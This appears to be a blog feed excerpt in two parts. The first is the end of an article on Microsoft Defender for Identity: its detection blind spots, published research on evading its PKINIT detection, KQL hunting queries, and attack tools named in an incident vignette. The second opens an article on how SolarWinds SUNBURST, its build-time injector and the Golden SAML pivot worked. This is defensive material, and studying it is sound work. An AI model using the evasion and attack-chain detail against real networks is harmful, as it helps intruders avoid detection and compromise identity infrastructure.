Ceiling 3 -- the encrypted-channel DCSync class. When DRSUAPI is wrapped in a transport the on-DC capture cannot decode -- DCSync over LDAPS via a SPN-bound impersonation chain, for instance -- the wire-side pattern recognition that powers the External ID 2006 alert degrades. The structural detector in Section 6.3 catches the unencrypted case; the encrypted case requires either a different observation surface (the DRSUAPI handler's own instrumentation) or behavioural baselining on the post-fact replication-log signal. MDI's coverage in this case is partial, not complete.

Ceiling 4 -- the cross-forest under-instrumentation tail. MDI sees the forests its sensors are deployed in. Pivot through an external trust to a forest without MDI coverage and the signal is incomplete -- the attacker's pre-pivot reconnaissance, the actual trust traversal, and any post-pivot actions on the trusting side that do not also touch an MDI-monitored forest will be invisible. This is a deployment property, not a product property: a tenant with MDI on every forest in its environment does not have this ceiling. A tenant whose acquisition portfolio includes three forests it does not yet monitor does.

Ceiling 5 -- legitimate-principal compromise non-detection. When the attacker uses a real Domain Admin's real credentials, every action is behaviourally indistinguishable from the legitimate principal unless timing, geolocation, or device fingerprint breaks the baseline. The 2025 and 2026 Suspected session cookie theft and related XDR-format alerts close part of this gap by adding behavioural side channels that the older Azure ATP alert catalogue did not cover [@mslearn-mdi-alerts-xdr]. The residual is permanent: a sufficiently disciplined attacker operating from the legitimate principal's normal workstation, during the legitimate principal's normal hours, doing things the legitimate principal might plausibly do, is, by construction, indistinguishable from the legitimate principal.

A sixth honourable mention sits adjacent to these five: out-of-band physical access -- a stolen Ntds.dit backup, an attacker-controlled DC's offline export, supply-chain firmware compromise on the DC hardware -- is outside the data layer MDI operates over. The hardware-trust-root community owns this class of mitigation, not the identity-threat detection community.

Note: The five structural ceilings are knowable, not surprises. A SOC that names them ahead of time has a better incident-response runbook than one that does not -- specifically, the runbook for "we just realised the attacker used a Sapphire Ticket" is fundamentally different from the runbook for "MDI fired and we ignored it." The first runbook starts with krbtgt rotation and Tier Zero hygiene review; the second starts with disciplinary review and SOAR-rule tuning. Knowing which runbook to pick depends on naming the ceiling correctly.

These five named residuals are why the rest of the article exists. If MDI caught everything, the operator playbook in Section 10 would be unnecessary. Because MDI does not, and because the gaps are knowable, the playbook in Section 10 is the difference between MDI as a licence line item and MDI as a working part of the SOC's day. But before the playbook, one last open-problem inventory: where is the research roadmap actually working?

9. Open Problems -- What the Research Roadmap Is Working On

Five open problems sit between the 2026 floor and a hypothetically perfect identity-threat detector. Each one has a current best partial result and a citation. None of them is closed.

Open Problem 1 -- the post-PKINIT NTLM-relay class beyond ESC8. Synacktiv's Understanding and evading Microsoft Defender for Identity PKINIT detection paper (Guillaume Andre, 2024) reverse-engineered MDI's PKINIT-class detection: MDI fingerprints offensive-tool-generated AS-REQ messages by the encryption types they advertise, which differ from the encryption-type list a legitimate Windows API PKINIT request generates [@synacktiv-pkinit-evasion][@synacktiv-pkinit-evasion-archive]. The companion Invoke-RunAsWithCert PowerShell tool generates AS-REQ messages via the Windows API itself, producing requests structurally identical to legitimate enterprise PKINIT authentication and bypassing the fingerprint-based detection [@synacktiv-runascert-gh][@deepwiki-runascert]. Aura Security's follow-on writeup confirms the technique against the current MDI version and walks through modifying Certipy to produce matching AS-REQ shapes [@aurainfosec-mdi-pkinit]. The partial mitigation in 2026 is the additional posture-side coverage in the nine MDI Certificates assessments, which closes some of the configurations the offensive tools target [@mslearn-mdi-certificates-posture]. The runtime detection arms race continues.

Open Problem 2 -- the graph-layer transition from SAM-R LMP to Identity Explorer. Section 6.4 covered the deprecation of SAM-R-based LMP discovery in May 2025 (MC1073068) and the two replacement surfaces: the Defender XDR attack-path exploration driven by Defender for Cloud's CSPM engine, and the April 2026 Identity Explorer Preview on the Sentinel data lake [@handsontek-mc1073068][@mslearn-defenderforcloud-attack-path][@mslearn-mdi-whats-new][@mslearn-xdr-hunting-graph]. The honest open question is whether either surface reproduces, in 2026, the operator workflows the seven-year-old SAM-R-derived LMP report had built up around itself. The Defender XDR hunting graph is richer than the LMP report ever was, but its data model is different; the Identity Explorer is closer in spirit but in Preview rather than GA.

Open Problem 3 -- the Sentinel data lake correlation and the Identity Explorer GA path. Microsoft Sentinel data lake, the cross-product cold-storage and analytics layer, went public preview in 2025 and ships with up to 12 years of retention in Parquet format, a clean separation of storage and compute, and KQL plus Jupyter notebook query surfaces [@mslearn-sentinel-datalake][@mstc-sentinel-datalake-preview]. Identity Explorer is the first identity-specific surface built on top of the data lake; it is in Preview as of April 2026 with no GA date published. The open problem is whether the data-lake-tier correlation can match the alert-tier MDI quality for long-running attacker dwell -- the months between Sapphire Ticket use and discovery class -- without producing more noise than signal.

Open Problem 4 -- the MDI evasion research arms race. Synacktiv's two papers (the sensor primer by Andre and Benassouli in 2022; the PKINIT evasion paper by Andre in 2024) plus the operator notes on alert-timing exploitation that show up in adsecurity.org and SpecterOps content are the public record of the offensive-research community's targeting of MDI specifically [@synacktiv-primer-mdi][@synacktiv-primer-mdi-archive][@synacktiv-pkinit-evasion][@synacktiv-pkinit-evasion-archive]. FalconForce's reverse-engineering of the MDE sensor (via Olaf Hartong's MDE Internals series) is the methodological precedent for the same approach against MDI; the FalconForce blog and the FalconFriday hunting-query repository are the operator-facing primaries [@falconforce-mde-0x02][@falconforce-mde-0x03][@falconforce-blog][@github-falconfriday][@github-olafhartong]. The Charlie Bromberg Sapphire Ticket disclosure (October 2022) is the cryptographic-attack-class research that Section 8's third ceiling rests on [@hackerrecipes-sapphire]. The arms-race property is permanent; the defensive product team's job is to keep the detection-shipping cadence faster than the evasion-shipping cadence, which the cloud rewrite (see Section 5) made structurally possible.

Open Problem 5 -- the non-Windows directory coverage tail. MDI covers Active Directory and (via the Microsoft Entra Connect sensor) the on-prem-to-Entra-ID sync surface. Native Entra ID attacks (token theft against Entra ID itself, OAuth consent phishing, Conditional Access bypass) are covered by Defender for Cloud Apps and Entra ID Protection, not by MDI. The boundary between MDI's scope and the adjacent products is operationally meaningful: a SOC operator reading "MDI did not fire" on an Entra-ID-only attack should not conclude the attack went undetected -- another product likely did fire, in another part of the same Defender XDR portal. The unified incident queue stitches the alerts together; the operator's mental model has to know which sensor surface to look at when triaging.

The article does not claim "BloodHound CE forced MDI to add ADCS detections in 2024." The framing is parallel evolution: as BloodHound CE expanded ADCS attack-path coverage in 2024-2025, MDI extended its ADCS posture assessments and PKINIT-class runtime detections during the same window. The two product communities watch each other; neither one "forces" the other.

The roadmap is real, the build-out is in progress, and the operator decision in 2026 is not "wait for the perfect product." It is "deploy what works now, and cover the residuals with KQL."

10. The MDI Deployment and Triage Playbook

Four lanes, mapped to four operator personas: the architect who designs the sensor footprint, the SOC analyst who triages the alerts, the threat hunter who writes the KQL that fills the gaps, and everyone who needs to know what does not work.

Lane 1 -- sensor placement and prerequisite hygiene

Deploy the v3.x sensor on every domain controller running Windows Server 2019 or later, paired with the MDE agent. The deployment path is the Microsoft Defender portal's migration wizard or the standalone install via the MDE agent's onboarding flow [@mslearn-mdi-deploy-sensor-v3][@modernsec-v3x][@jeffreyappel-v2v3].

Deploy the v2.x sensor on every AD FS federation server, every AD CS online issuing certificate authority, and every Microsoft Entra Connect server (both active and staging), unless those roles already run on a domain controller covered by a v3.x sensor with the May 2026 identity-role extension enabled [@mslearn-mdi-prereq-sensor-v2][@mslearn-mdi-whats-new].

Configure the required Windows audit subcategories via the Group Policy Subcategory Settings path that the MDI event-collection page enumerates -- Audit Credential Validation, Audit Kerberos Authentication Service, Audit Kerberos Service Ticket Operations, Audit Logon, Audit Directory Service Access, Audit Computer Account Management, plus the additional subcategories for AD CS and AD FS roles. The v3.x sensor includes an Automatic Windows auditing configuration toggle that uses the Windows LSA audit-policy APIs to set the subcategories directly, eliminating the GPO step [@mslearn-mdi-event-collection].

Set the MDI Action Account in the Defender portal. The default is LocalSystem impersonation on the sensor host, which works for response actions targeting AD objects (force password reset, disable user). A gMSA-based Action Account is the alternative for tenants that want least-privilege response identities scoped per workspace [@mslearn-mdi-action-accounts][@mslearn-mdi-remediation-actions]. Avoid configuring the same gMSA across multiple sensor hosts -- the documented anti-pattern is to use one Action Account for DC-side actions only.

Verify the Microsoft Defender portal role assignments so that SOC analysts have the correct read-and-respond permissions on identity alerts. The Microsoft Defender for Identity enterprise application (ID 60ca1954-583c-4d1f-86de-39d835f3e452) is the consent surface for the response actions; tenants that have not granted consent will see "remediation action unavailable" on identity-targeted incidents [@mslearn-mdi-remediation-actions].

Lane 2 -- alert triage SLAs

The triage matrix maps alert category to response-time target and the named SOC role that owns triage. Numbers below are typical Tier 1 / Tier 2 SOC targets; tune to your environment's incident-response policy.

Alert category	Response-time target	Owning SOC role	Notes
DCSync, DCShadow, Golden Ticket	1 hour	Tier 2 (privileged-account-compromise specialist)	Treat as confirmed compromise pending evidence to the contrary
AS-REP Roasting, Kerberoasting	4 hours	Tier 2	Higher-FP class; verify offending principal pattern before escalation
NTLM relay (ESC8 class)	4 hours	Tier 2	ADCS-aware; coordinates with CA team
Reconnaissance (LDAP / SMB / DNS)	24 hours	Tier 1	Highest-FP class; allowlist legitimate scanners
Honeytoken activity	1 hour	Tier 1 plus Tier 2 escalation	Near-zero FP; any hit is investigation-worthy

Two false-positive cleanup patterns appear in nearly every tenant. The Azure AD Connect Cloud Sync service principal -- MSOL_ plus an 8-character random suffix -- legitimately performs DRSUAPI-like operations as part of the hybrid identity sync flow, and will fire DCSync-class alerts unless allowlisted. Legitimate vulnerability scanners (Tenable, Rapid7, Qualys) perform authenticated enumeration that triggers the LDAP and SMB reconnaissance alerts; scanner IPs go in an exclusion list per the Defender XDR portal's identity-alert tuning surface.

The MDI Action Accounts and Remediation Actions surface lets the responder disable a user, force a password reset, revoke an Entra ID session, or mark an account as compromised -- triggered manually from the alert flow or automatically via the Defender XDR automatic attack disruption engine, which requires 99 percent or higher detector precision before taking containment action [@mslearn-xdr-attack-disruption][@mslearn-mdi-remediation-actions][@mslearn-xdr-investigate-users]. Automatic attack disruption is opt-in per containment action; the conservative default leaves analyst confirmation in the loop for password-reset-class actions and automates disable-user only on the highest-precision detector classes.

Note: The cloud-side analytics pipeline aggregates signal across the per-principal baseline window before deciding to emit. Empirically the alert latency is minutes-cadence, not seconds-cadence. Incident response runbooks that assume sub-second alert arrival will be wrong; the operator clock starts when the alert hits the Defender XDR queue, which is itself minutes after the wire-side event. Plan for this in the SLA matrix above -- the "1 hour" target for DCSync starts from the alert timestamp, not the attack timestamp, and the attack itself may have happened five or ten minutes earlier. The Microsoft alerts-overview page is explicit that MDI is "not designed to serve as an auditing or logging solution that captures every single operation or activity on the servers where the sensor is installed; it only captures the data required for its detection and recommendation mechanisms" [@mslearn-mdi-alerts-overview].

Lane 3 -- advanced-hunting queries that fill the gaps

Three structural detectors in KQL form, each one targeting a class the named alerts can miss. Each query names the table, the columns, and the threshold tuning the operator will need.

The structural DCSync detector runs against IdentityDirectoryEvents and catches the encrypted-channel case the External ID 2006 alert may miss:

IdentityDirectoryEvents
| where Timestamp > ago(24h)
| where ActionType == "DRSReplicate"
| extend SourceIP = tostring(parse_json(AdditionalFields).SourceIPAddress)
| where SourceIP !in ("10.0.1.10", "10.0.1.11", "10.0.1.12")   // tenant DC IPs
| where AccountName !startswith "MSOL_" and AccountName !in ("ADConnectSync")
| project Timestamp, AccountName, SourceIP, TargetDeviceName, AdditionalFields
| order by Timestamp desc

Threshold tuning: keep the time window short (24 hours) for daily triage. Cleanup principals (MSOL_*, ADConnectSync, plus any per-tenant sync identities) go in the !startswith and !in clauses. The query produces a clean queue of "DRSUAPI replication from a host that should not be doing DRSUAPI." False-positive class: legitimate Azure AD Connect Cloud Sync service principals; resolve by adding the principal to the allowlist.

The slow-burn Kerberoasting detector runs against IdentityLogonEvents and catches the rate-limited Kerberoast pattern that modern attackers use to stay below the MDI behavioural-baseline threshold:

IdentityLogonEvents
| where Timestamp > ago(7d)
| where Protocol == "Kerberos"
| where ActionType == "ServiceTicketRequest"
| extend EncType = tostring(parse_json(AdditionalFields).EncryptionType)
| where EncType in ("RC4-HMAC", "DES-CBC-MD5")
| summarize SpnCount = dcount(TargetSpn), SpnList = make_set(TargetSpn) by AccountName, bin(Timestamp, 1d)
| where SpnCount > 5     // tune per tenant baseline
| order by Timestamp desc, SpnCount desc

Threshold tuning: the SpnCount > 5 threshold is the load-bearing knob. Tenants with legitimate operational accounts that request many SPNs per day (privileged service accounts running scheduled tasks across many target hosts) will need a higher threshold and an allowlist. The seven-day window catches the slow-burn pattern that a one-hour window misses.

The PKINIT-relay structural detector runs against IdentityLogonEvents and watches for AS-REQ with PA-PK-AS-REQ pre-auth coming from unexpected client subnets:

IdentityLogonEvents
| where Timestamp > ago(24h)
| where Protocol == "Kerberos"
| where ActionType == "InitialAuthentication"
| extend PreAuth = tostring(parse_json(AdditionalFields).PreAuthType)
| where PreAuth == "PA-PK-AS-REQ"
| extend ClientSubnet = strcat(split(IPAddress, ".")[0], ".", split(IPAddress, ".")[1])
| where ClientSubnet !in ("10.0.5", "10.0.6")    // legitimate smartcard subnets
| project Timestamp, AccountName, IPAddress, DeviceName, AdditionalFields
| order by Timestamp desc

Threshold tuning: PKINIT is legitimate when smartcard logon is in use. Identify the legitimate smartcard-issuing subnets and add them to the !in clause. The residual queue is PKINIT from unexpected sources -- the structural pattern behind both the post-ESC8 NTLM-relay class and the Synacktiv Invoke-RunAsWithCert evasion class.

Tenants that want the alert and event corpus in their SIEM as well as in Defender XDR should configure the MDI to Microsoft Sentinel connector through the Defender XDR-to-Sentinel integration; the connector is auto-enabled when Sentinel is onboarded to the Defender portal [@mslearn-sentinel-defender-connector].

Lane 4 -- what does NOT work

Five named operator myths, each refuted with a one-paragraph structural reason.

Myth 1: "MDI without the DC sensor still catches Kerberos attacks via the Entra ID side." Wrong. The Kerberos protocol layer is on-prem; the analytics require on-DC capture of the AS-REQ / TGS-REQ / AP-REQ exchange. Entra ID's side of the hybrid auth flow does not carry the same protocol detail. A tenant with MDI licensed but the sensor not deployed on the DCs has no Kerberos detection at all -- the licensed state is necessary but not sufficient.

Myth 2: "Disabling the v2.x sensor on AD FS is fine since it is covered by the DC sensor." Wrong. The AD FS authentication flow generates federation-side events (SAML assertions, OAuth tokens, the Application and Security event logs that AD FS itself writes) that the DC sensor does not see. AD FS deserves its own sensor unless the AD FS role is collapsed onto a domain controller, in which case the May 2026 v3.x identity-role extension covers it.

Myth 3: "Defender for Endpoint covers what MDI covers." Wrong. MDE catches endpoint behaviour -- process creation, file access, network connections, registry writes. MDI catches protocol-level Kerberos, NTLM, LDAP, and DRSUAPI patterns. The two products share an agent surface in the v3.x architecture, but the signal classes are different. An MDE-only deployment will not catch a DCSync from a workstation if MDI is not licensed and the sensor is not deployed; the MDE agent on the DC sees the local process activity but not the wire-side replication call's source.

Myth 4: "MDI alerts are real-time." Wrong. As Callout in Lane 2 above. The cloud-side batched-emission cadence is minutes-not-seconds, and incident response runbooks need to account for it.

Myth 5: "MDI requires no tuning." Wrong. Every environment has unique false-positive patterns from internal tooling that need exclusions. Microsoft ships the default detector thresholds; tenants tune them through the Defender XDR portal's identity-alert configuration surface. A tenant that has not tuned the recon-alert allowlist for its vulnerability scanners will receive far more noise than signal.

Coverage, triage, KQL, and humility about what does not work. The four lanes are the difference between MDI as a licence item on a renewal sheet and MDI as a working part of the SOC's day.

11. Frequently Asked Questions and Closing

Six questions that come up every time MDI is on a whiteboard, each in the misconception-removal pattern: wrong answer named first, then refuted.

No. See the *common misreading worth fixing* Callout in Section 4: graph-anchored attack-path evaluation in Microsoft's defensive stack originates in ATA 1.9 (March 2018), and the 2022 anchor in operator memory is the start of the SAM-R-discovery deprecation arc that culminated in MC1073068 in May 2025 [@mslearn-ata-1-9][@handsontek-mc1073068]. Not as one alert per ESC class. The MDI Certificates posture page documents **nine ADCS posture assessments** -- ESC1 (Preview), ESC2, ESC3, ESC4 (template-owner and template-ACL variants), ESC6 (Preview), ESC7, ESC8, ESC11, and ESC15 [@mslearn-mdi-certificates-posture]. The runtime detection surface for the ESC8 NTLM-relay class is the *Suspected NTLM relay attack* alert in the XDR catalogue [@mslearn-mdi-alerts-xdr]. PKINIT-class runtime detection (the post-ESC8 chain) is the AS-REQ encryption-type fingerprint that Synacktiv documented and partially evaded; the August 2023 AD CS sensor release is the prerequisite for posture coverage [@mstc-adcs-sensor][@synacktiv-pkinit-evasion][@synacktiv-pkinit-evasion-archive]. Coverage is "nine posture assessments plus one runtime alert," not "one alert per ESC1 through ESC15." Microsoft has never published the canonical list; community reverse-engineering is the only source. See the *honest provenance of the ETW provider list* Aside in Section 5 for the full provenance (Synacktiv's November 2022 primer; Olaf Hartong's FalconForce MDE Internals 0x02 methodology; the Get-TraceLoggingMetadata + Sealighter toolchain) and the snapshot-not-ground-truth framing [@synacktiv-primer-mdi][@falconforce-mde-0x02]. In the cloud since Azure ATP went GA in March 2018 [@mstc-azureatp-ga][@mstc-azureatp-intro]. The on-DC sensor is a thin parser that captures Kerberos / NTLM / LDAP / DRSUAPI on the wire, parses the protocols into structured events, and streams the parsed signal to the multi-tenant cloud backend over HTTPS. The detection logic, the per-principal behavioural baselines, and the alert-emission pipeline all run in the cloud. The legacy on-prem ATA Center model ended with Azure ATP; ATA itself shipped its last release (1.9.3) in September 2020 and Extended Support ends January 2026 [@mstc-ata-eol][@atadocs-versions]. No. The framing is parallel evolution, not a "forcing" relationship. BloodHound CE expanded ADCS attack-path coverage substantially in 2024 and 2025; during the same window MDI extended its ADCS posture assessment surface and added the AD CS sensor release in August 2023 [@mstc-adcs-sensor][@dirteam-sander-aug2023]. Both product communities watch each other -- the Defender team uses BloodHound to red-team its own environments, the SpecterOps team uses MDI when consulting in enterprise Microsoft shops -- but the causal claim "BloodHound forced MDI" is not supported by the public release record. The two communities' work has been concurrent and mutually informing. Almost. The MITRE-aligned alert catalogue in Section 6.2 covers the most-prevalent offensive primitives. Section 8 names the five structural ceilings that remain by-construction unclosable; *almost* is the load-bearing word.

Friday, 14:35. The watcher on the domain controller has written three named alerts into the Defender XDR queue. The red-team contractor's Rubeus.exe asreproast fired Suspected AS-REP Roasting attack (T1558.004). The junior auditor's bloodhound-python -c All fired Security principal reconnaissance (LDAP). The Mimikatz DCSync against the SQL host's service account fired Suspected DCSync attack -- replication of directory services, External ID 2006, T1003.006. Three alerts. Three MITRE technique IDs. Three rows in a Tier 1 analyst's queue.

The watcher's job is done. Whether the analyst opens the right one first, whether the Tier 2 escalation happens inside the one-hour SLA, whether the response action gets approved before the attacker has moved on -- none of that is MDI's problem to solve. It is yours.

The Thirteen Months That Made Zero Trust Unavoidable: The Windows Security Wars Part 5 (2020-2023)

noreply@paragmali.com (Parag Mali) — Wed, 27 May 2026 00:00:00 GMT

Four incidents in thirteen months -- SolarWinds (December 2020), ProxyLogon (March 2021), PrintNightmare (June-July 2021), and Log4Shell (December 2021) -- broke four assumptions the Windows blue team had quietly elevated to invariants: that signed vendor updates are trustworthy, that on-premises server fleets are bounded by the firewall, that legacy SYSTEM services on Domain Controllers are not on the attack surface, and that transitive dependencies are knowable. The architectural pivot was already on the shelf: NIST SP 800-207, *Zero Trust Architecture*, shipped in August 2020, four months before SolarWinds. The defensive primitives that operationalized it -- Microsoft Pluton, the Windows 11 hardware baseline, Conditional Access with Continuous Access Evaluation and the Primary Refresh Token, and the LSA Protection and Vulnerable Driver Blocklist defaults -- shipped at scale through 2022-2023. The trust roots are still not closed; Storm-0558 (July 2023) is the existence proof that the policy engine itself is a privileged plane. That is Part 6.

1. Eighteen Thousand Signatures, All Valid

On December 13, 2020 -- a Sunday -- Mandiant Threat Intelligence pushed a blog post to FireEye's website titled "Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor." The post named a single binary, SolarWinds.Orion.Core.BusinessLayer.dll, that had been digitally signed by SolarWinds' legitimate code-signing certificate and distributed through SolarWinds' own update server between February and June 2020 [@mandiant-sunburst]. The next day, SolarWinds filed a Form 8-K with the U.S. Securities and Exchange Commission stating that the actual number of customers who installed the updates between March and June 2020 was fewer than 18,000 [@solarwinds-sec-edgar].

Two months after that, Microsoft President Brad Smith testified to the U.S. Senate Select Committee on Intelligence that the number of follow-on victims who had been targeted with further lateral movement -- via a token-forgery primitive against Active Directory Federation Services -- was fewer than 100 [@senate-intel-2021-02-23].

The architectural lesson is in the gap between those two numbers. Eighteen thousand organizations validated the Authenticode signature on a binary [@ms-authenticode], executed it as trusted code, and did exactly what an endpoint protection product is specified to do: nothing, because the binary was signed by a vendor on the trusted publisher list. The attacker then chose roughly one hundred targets to pursue further. The signature was real. The build pipeline that produced the signature was compromised. Ken Thompson's 1983 Turing Award lecture "Reflections on Trusting Trust," published in Communications of the ACM in August 1984, had predicted this exact class thirty-six years earlier [@thompson-1984-acm, @thompson-nakamoto-reading]; in December 2020 the Windows industry collected the receipt.

This is the largest and most sophisticated attack the world has ever seen ... we have seen substantial evidence that points to the Russian foreign intelligence agency, and we have found no evidence that leads us anywhere else. -- Brad Smith, Microsoft President, U.S. Senate Select Committee on Intelligence, February 23, 2021 [@senate-intel-2021-02-23]

SolarWinds was the first of four incidents the Windows blue team did not have a vocabulary for. ProxyLogon arrived in March 2021 and broke the assumption that on-premises Exchange Server fleets were bounded by the corporate firewall. PrintNightmare arrived in June-July 2021 and broke the assumption that legacy services running as SYSTEM on Domain Controllers were not on the attack surface. Log4Shell arrived in December 2021 and broke the assumption that "what software is in my fleet" was an answerable question.

Four incidents. Thirteen months. Four assumptions that the prior decade had quietly elevated to invariants. If the signature was real and the build was compromised, then "protect the endpoint" was protecting the wrong thing. Where did the threat model go?

2. Why 2020 Was the Inflection Point

The four incidents did not happen because 2020 was uniquely insecure. They happened because the structural conditions had been gathering for a decade, and three of them converged that year.

The endpoint-protection era's high-water mark. By 2019, the operational consensus across Windows fleets was that endpoint-centric defense-in-depth had become tractable. Credential Guard (2015) isolated LSASS secrets in a virtualization-based enclave [@ms-credential-guard]. Windows Defender ATP (2016) streamed kernel-level telemetry to a security operations centre. BloodHound (2016) made the on-premises Active Directory graph queryable as attack paths rather than as object permissions [@bloodhound-specterops]. Device Guard and WDAC (2017) constrained kernel and userspace code identity. The threat model was the endpoint. The perimeter was the VPN. The build pipeline was the vendor's problem. The cloud identity layer was Conditional Access on a handful of policies. The blue team's frame of reference was finite and bounded.

Microsoft's 2021 Digital Defense Report framed the post-event detection posture honestly: the industry had become good at finding attackers after the fact, less good at stopping them at first execution [@mddr-2021-specific]. Detection and response as the load-bearing primitive is precisely the posture that SolarWinds invalidated -- because the binary that ran was the one the EDR was specified to trust.

The pandemic-era expansion of the attack surface. From March 2020 onward, remote work shifted authentication to cloud identity providers, exposed VPN and RDP gateways at unprecedented scale, and made internet-facing Exchange near-universal in the mid-market. None of this caused SolarWinds -- the SolarWinds build-pipeline access had begun in September 2019 -- but it reshaped which incidents had the most operational impact when they landed. An Exchange Server fleet that had been ten internal users behind a VPN in 2019 was a hundred external users on the public internet in 2021. ProxyLogon would have been a serious incident in 2019. In 2021 it was a federal emergency.

An attack in which an adversary alters software, hardware, or services *before* the legitimate vendor delivers them, so that the eventual victim trusts the malicious artifact by virtue of trusting the vendor's identity. The compromise can occur at the source (commit signing keys), the build (the compiler or build server), the distribution (the update channel), or the installation (the package manager). SUNBURST was a *build-pipeline* compromise: SolarWinds' source remained clean; the build server inserted SUNBURST code into the compiled artifact, then signed it with SolarWinds' legitimate code-signing certificate.

The state of supply-chain assurance circa 2020. SLSA, the framework that would later codify "what does it mean for a build to be trustworthy" [@google-slsa-2021-06-16, @slsa-v1-levels], did not yet exist; Google announced it in June 2021. Reproducible builds were a research aspiration on a handful of Linux distributions. CycloneDX [@cyclonedx-home] and SPDX [@spdx-home] existed as bill-of-materials specifications but had no federal mandate behind them. in-toto [@in-toto-home] was the only deployed cryptographic-attestation framework for build steps, and adoption was minimal. Executive Order 14028, which would make Software Bill of Materials provision a federal procurement requirement, was still six months away [@eo-14028]. The build pipeline was not threat-modeled as attacker territory because no one had a name for the territory yet.

The same 2020-2023 window also produced a parallel criminal-economy track this article does not walk operationally: the human-operated ransomware cluster of Conti, REvil, DarkSide, and BlackCat / ALPHV, and the supply-chain-adjacent ransomware incidents Colonial Pipeline (May 2021, DarkSide), JBS Foods (May 2021, REvil), and Kaseya VSA (July 2, 2021, REvil). Kaseya is the non-Microsoft supply-chain parallel to SolarWinds: compromise the MSP-tier remote-monitoring platform, downstream MSPs and their customers receive trojanized commands, an architectural class that is not Microsoft-specific [@kaseya-ic3-csa-pdf-substitute]. The canonical primaries are CISA / FBI / NSA / USSS Joint Advisory AA21-265A on Conti [@conti-aa21-265a-wayback], the July 6, 2021 CISA-FBI Kaseya guidance [@kaseya-ic3-csa-pdf-substitute], the April 2022 FBI Flash and CISA alert on BlackCat / ALPHV [@cisa-blackcat-alert-substitute], and the February 2022 US/UK/AU joint ransomware advisory AA22-040A [@cisa-aa22-040a]. Microsoft's canonical framing for "human-operated ransomware" lives in the Digital Defense Report 2022 Cybercrime chapter [@mddr-2022]; readers wanting the operational ransomware-economy treatment should start there.

Taken together, these three threads produced an industry in which the trust-anchor primitives (signed code, perimeter firewalls, default-enabled SYSTEM services, "what library are we using") had all been quietly elevated to invariants while the conditions that made them invariant were eroding. The four incidents are not four bugs; they are four exposures of those four assumptions. The next section walks each in turn.

3. The Four Incidents

3.1 SolarWinds / SUNBURST: Supply Chain at Silicon

Five days before Mandiant published the SUNBURST analysis, FireEye's CEO Kevin Mandia disclosed that "a highly sophisticated state-sponsored adversary" had stolen FireEye's internal Red Team tooling [@mandiant-fireeye-rt-tools]. The disclosure triggered an internal investigation that traced the access path through FireEye's own SolarWinds Orion deployment. By the time Mandiant pushed the December 13 blog, the chain was named, the affected DLL was identified, and the federal response was already moving: CISA's Emergency Directive 21-01 went out the same day, ordering every Federal Civilian Executive Branch agency to disconnect or power down SolarWinds Orion products [@cisa-ed-21-01].

The exploit chain. The SolarWinds build pipeline had been compromised since approximately September 2019, eight months before the trojanized builds reached customers [@solarwinds-orange-matter-sunburst]. Between February and June 2020, the SolarWinds release process produced four signed versions of Orion that contained additional code added during the build itself, after the source was clean but before the artifact was signed. The compromised builds embedded a backdoor Mandiant named SUNBURST inside SolarWinds.Orion.Core.BusinessLayer.dll [@mandiant-sunburst]. SUNBURST was deliberately quiet: it slept for up to two weeks after install, camouflaged its callback traffic as legitimate Orion telemetry, generated its command-and-control hostnames from a domain-generation algorithm rooted at avsvmcloud.com, and ignored any host whose environment matched the attacker's exclusion list (which included most security vendors and some forensic tooling). On selected targets, SUNBURST loaded a second-stage Cobalt Strike beacon named TEARDROP [@mandiant-sunburst] or its variant Raindrop [@symantec-raindrop-2021], and from there the attacker pursued domain compromise of the on-premises Active Directory.

SUNSPOT: the build-time injector. Mandiant's December 13 post named the SUNBURST artifact but did not yet describe how the trojanized DLL got into the build. On January 11, 2021, CrowdStrike Intelligence published an analysis of the injector itself, codenamed SUNSPOT, co-published with SolarWinds' own root-cause investigation update [@crowdstrike-sunspot, @solarwinds-orange-matter-sunburst]. SUNSPOT was a Windows binary present on the SolarWinds build server as taskhostsvc.exe. It monitored running processes for MsBuild.exe, walked the new process's environment to find the directory of the Orion Visual Studio solution, located the source file InventoryManager.cs, replaced its contents on disk with a SUNBURST-bearing version just before the C# compiler read the file, waited for the build to finish, then atomically restored the original file. Because the substitution happened in the narrow window between MsBuild reading the source and the compiler emitting the binary, the source repository at rest never showed evidence. The artifact on disk after the build looked exactly like the artifact a clean build would have produced -- except that the compiled bytes embedded SUNBURST.

The build-time injector CrowdStrike identified as the SolarWinds-side companion to SUNBURST [@crowdstrike-sunspot]. SUNSPOT is the operational realization at production scale of the threat model Ken Thompson described in 1984: the build process is the trust boundary, and an attacker who controls the build process produces an artifact whose signature is correct but whose semantics are not what the source code says.

The on-premises compromise was the means. The cloud pivot was the end. Once the attacker controlled the on-premises ADFS server's token-signing private key, the chain shifted to Golden SAML.

A token-forgery technique introduced by Shaked Reiner of CyberArk Labs in November 2017 [@reiner-2017-cyberark]. If an attacker obtains the token-signing private key of a SAML 2.0 identity provider (typically the on-premises Active Directory Federation Services token-signing certificate), the attacker can forge a SAMLResponse for any user, with any group memberships, valid for any duration. Service providers that trust the federation cannot distinguish forged tokens from legitimate ones. Reiner published a reference implementation called `shimit` alongside the disclosure [@cyberark-shimit-gh]. The naming is a deliberate parallel to Mimikatz's Golden Ticket against Kerberos. The first-stage backdoor that Mandiant identified inside `SolarWinds.Orion.Core.BusinessLayer.dll` in December 2020 [@mandiant-sunburst, @solarwinds-sec-edgar]. SUNBURST established initial command and control over HTTPS, blending into the volume of telemetry that legitimate Orion deployments generated. sequenceDiagram participant SUNSPOT as SUNSPOT on SolarWinds build server participant Build as SolarWinds MsBuild process participant Customer as Customer Orion Server participant C2 as avsvmcloud DGA C2 participant ADFS as On-prem ADFS participant M365 as Microsoft 365 SUNSPOT->>Build: Replace InventoryManager.cs at compile time Build->>Customer: Signed Orion update with SUNBURST DLL Customer->>Customer: Authenticode validates signature, executes Customer->>C2: HTTPS beacon disguised as Orion telemetry C2->>Customer: TEARDROP or Raindrop second-stage loader Customer->>ADFS: Lateral movement, extract token-signing key ADFS->>ADFS: Attacker forges SAMLResponse offline ADFS->>M365: Golden SAML token for chosen identity M365->>M365: Federated trust accepts forged assertion Note over Customer,M365: Approximately 100 targeted follow-on victims out of 18,000 SUNBURST recipients

